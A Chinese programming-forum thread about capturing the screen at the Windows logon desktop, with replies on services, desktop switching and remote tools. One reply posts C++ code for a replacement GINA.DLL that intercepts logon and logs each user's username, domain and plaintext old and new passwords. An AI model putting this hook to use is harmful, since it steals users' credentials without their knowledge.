有哪位高手知道怎样可以捉用户登陆时的屏幕吗. 100分求救

解决方案 »

  1.   

    maybe pcAnywhere
    或者其他远程登录的软件其实自己做一个也不难,咔咔
      

  2.   

    使用服务程序 + DirectX 抓显存
    可以实现。
      

  3.   

    是Win2000吗?需要替换GINA.DLL/********************************************************************/
    //在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!int  WINAPI WlxLoggedOutSAS (
      PVOID                  pWlxContext, 
      DWORD                 dwSasType, 
      PLUID                   pAuthenticationId, 
      PSID                    pLogonSid, 
      PDWORD                pdwOptions, 
      PHANDLE                phToken, 
      PWLX_MPR_NOTIFY_INFO pMprNotifyInfo, 
      PVOID *                 pProfile) 
    {
         int iRet=0; 
         PWSTR pszUserName=NULL;     //用户名
         PWSTR pszDomain=NULL;       //机器名
         PWSTR pszPassword=NULL;      //密码
         PWSTR pszOldPassword=NULL;   //旧密码
         PSTR pLogonTime=new char[100]; //登录时间       //调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数
         iRet = prcWlxLoggedOutSAS(
         pWlxContext, 
         dwSasType, 
         pAuthenticationId, 
         pLogonSid, 
         pdwOptions, 
         phToken, 
         pMprNotifyInfo, 
         pProfile);         if(iRet == WLX_SAS_ACTION_LOGON) 
             {     
                    //Get logon time
                    CTime tm=CTime::GetCurrentTime();
                    ::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d     \r\n",
    tm.GetYear(),
    tm.GetMonth(),
    tm.GetDay(),
    tm.GetHour(),
    tm.GetMinute(),
    tm.GetSecond());                if(pLogonTime!=NULL) 
                    {
                           WriteInfo("logon_time: ");
                           WriteInfo(pLogonTime); 
                    }                // copy pMprNotifyInfo and pLogonSid for later use    
                    pszUserName=pMprNotifyInfo->pszUserName;       
                    if(pszUserName!=NULL)   
                    {
                           WriteInfo("Username  : ");
                           WriteInfoW(pszUserName); 
                    }                pszDomain=pMprNotifyInfo->pszDomain; 
                    if(pszDomain!=NULL)     
                    {
                           WriteInfo("Domain    : ");
                           WriteInfoW(pszDomain); 
                    }                pszPassword =pMprNotifyInfo->pszPassword; 
                    if(pszPassword!=NULL)   
                    {
                           WriteInfo("PassWord  : ");
                           WriteInfoW(pszPassword); 
                    }               pszOldPassword=pMprNotifyInfo->pszOldPassword; 
                   if(pszOldPassword!=NULL) 
                   {
                           WriteInfo("OldPassword: ");
                           WriteInfoW(pszOldPassword); 
                   }} return iRet; }
    /********************************************************************/
    参考文章:WINDOWS 2000下如何获得用户登录名和密码http://www.vckbase.com/document/viewdoc/?id=798
      

  4.   

    提供一个简单的办法:2000 Server 系统打开远程登录服务. 然后通过另一台主机进行远程登录. 因为远程登录的主机已经登录了,你可以抓出远程计算机的登录界面
      

  5.   

    我做成服务后,取不到 Winlogon 桌面的设备句柄! 请问哪位知道怎样可以取到Winlogon 桌面的设备句柄
      

  6.   

    做成服务程序,然后支持桌面交互.
    在得桌面图像之前,调用SwitchInputDesktop()即可.
    这样不管是登录前的桌面("Winlogon")还是登录后("Default"),都可以正确的得到.
    BOOL CRemoteControl::SwitchInputDesktop()
    {
    BOOL bRet = FALSE;
    do
    {
    HDESK hdesk = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
    if(hdesk == NULL)
    break ;
    SwitchToDesktop(hdesk);
    CloseDesktop(hdesk);
    bRet = TRUE;
    }while(0);

    return bRet;
    }
    BOOL CRemoteControl::SwitchToDesktop(HDESK hDesktop)
    {
    BOOL bRet = FALSE;

    HWINSTA hwinsta = NULL;
    do
    {
    hwinsta = OpenWindowStation(_T("winsta0"), FALSE, MAXIMUM_ALLOWED);
    if(hwinsta == NULL)
    break ; if(!SetProcessWindowStation(hwinsta))
    break ;

    if(!SetThreadDesktop(hDesktop))
    break ;

    bRet = TRUE;
    }while(0);

    if(hwinsta)
    CloseWindowStation(hwinsta); return bRet;
    }
      

  7.   

    我的电脑现在坏了,过几天修好了,我按楼上的方法试一下了!   我以前也差不多是按楼上说的,让程序可以与桌面交互,但Bitbit后出来的是图像是黑的! 不知是怎么回事~!!